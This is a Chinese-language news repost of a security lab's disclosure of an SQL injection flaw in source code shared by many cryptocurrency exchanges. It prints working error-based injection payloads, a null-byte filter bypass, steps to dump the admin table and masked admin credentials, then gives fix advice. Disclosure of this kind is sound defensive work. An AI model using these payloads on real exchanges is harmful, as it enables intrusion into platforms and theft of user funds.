Helm实验室披露:超过200家交易所使用了这套问题代码

粤讯 中字

近日,HELM区块链安全实验室在GitHub上发现了一套众多交易所可能正在使用的通用源码,经过分析发现其中存在大量的通用0day漏洞。据我们初步统计,使用此代码的交易所超过200家,目前仍存在该漏洞的交易所超过40家。

image.png

在与开发商联系过后,得知其发布的演示站是升级过的第二个版本,而新版本虽然已经对该0day进行不完全修复,仍然可以被绕过。为了保证相关交易所的资金安全,HELM区块链安全实验室对此漏洞以及黑客的攻击手法进行分析披露,并提供修复方式,希望各大交易所尽快修复漏洞以防患于未然。

这里我们选择其中一枚高危漏洞(SQL注入类型)进行披露,该漏洞可简单绕过防护,可通过报错注入获取数据库信息,从而获得后台管理权限;黑客通过操纵用户资金交易,可导致交易所资金遭受严重威胁。此注入点存在于行情页面中的请求连接(下图红框),请各个使用此页面类似功能的交易所自查。

image.png


通过payload:/Chart/*****?market=' and updatexml(1,concat('~',user(),'~'),1) -- a获取到数据库连接。

image.png

用户名:li****

连接地址:localhost

image.png

在执行获取表名payload:

/Chart/****?market='and updatexml(1,concat('~',(select count(*) from information_schema.tables where table_schema=database()),'~'),1) -- a

被拦截。

image.png

只需加%00绕过即可,payload:

/Chart/***?market=' and updatexml(1,concat('~',(se%00lect cou%00nt(*) f%00rom informat%00ion_schema.tables wh%00ere table_schema=database()),'~'),1)-- a

用burpsuite获取到表名

image.png

获取qqbtc_admin字段即可获取管理员账号密码:

账号:****cc

密码:****520

通过分析源代码,APP_DEBUG为TRUE,导致data为NULL,market参数未进行任何过滤,直接带入数据库中执行查询命令。

image.png

访问 admin admin.php admin/login 等.... 获取到后台地址

管理员地址:image.png

image.png

image.png

HELM区块链安全实验室通过对新版本跟进发现,许多交易所虽已对该漏洞进行修复,但仍然存在绕过的可能。

image.png

对此,HELM区块链安全实验室根据提出如下建议:

1、对market参数进行过滤。

2、各交易所自查github仓库,如若泄露,删除GitHub上的源代码。

3、慎用第三方开发商的源码,如若外包应当定制化,避免使用二此开发的源码,以免友商使用类似源码被攻击收到影响。

下列交易平台都是受到该漏洞影响的,建议尽快修复

V1版本

image.png

我们致力于促进建立良好的区块链安全生态,本次披露无意影响各个交易所的业务,我们建议涉及到的各大交易所进行自检,以避免平台与用户损失。我们将坚决协助监管单位打击假交易所,和具有违规行为的交易所,对各个维护数字货币交易秩序的交易所给予支持。

声明: 本文系OFweek根据授权转载自其它媒体或授权刊载,目的在于信息传递,并不代表本站赞同其观点和对其真实性负责,如有新闻稿件和图片作品的内容、版权以及其它问题的,请联系我们。
侵权投诉

下载OFweek,一手掌握高科技全行业资讯

还不是OFweek会员,马上注册
打开app,查看更多精彩资讯 >
  • 长按识别二维码
  • 进入OFweek阅读全文
长按图片进行保存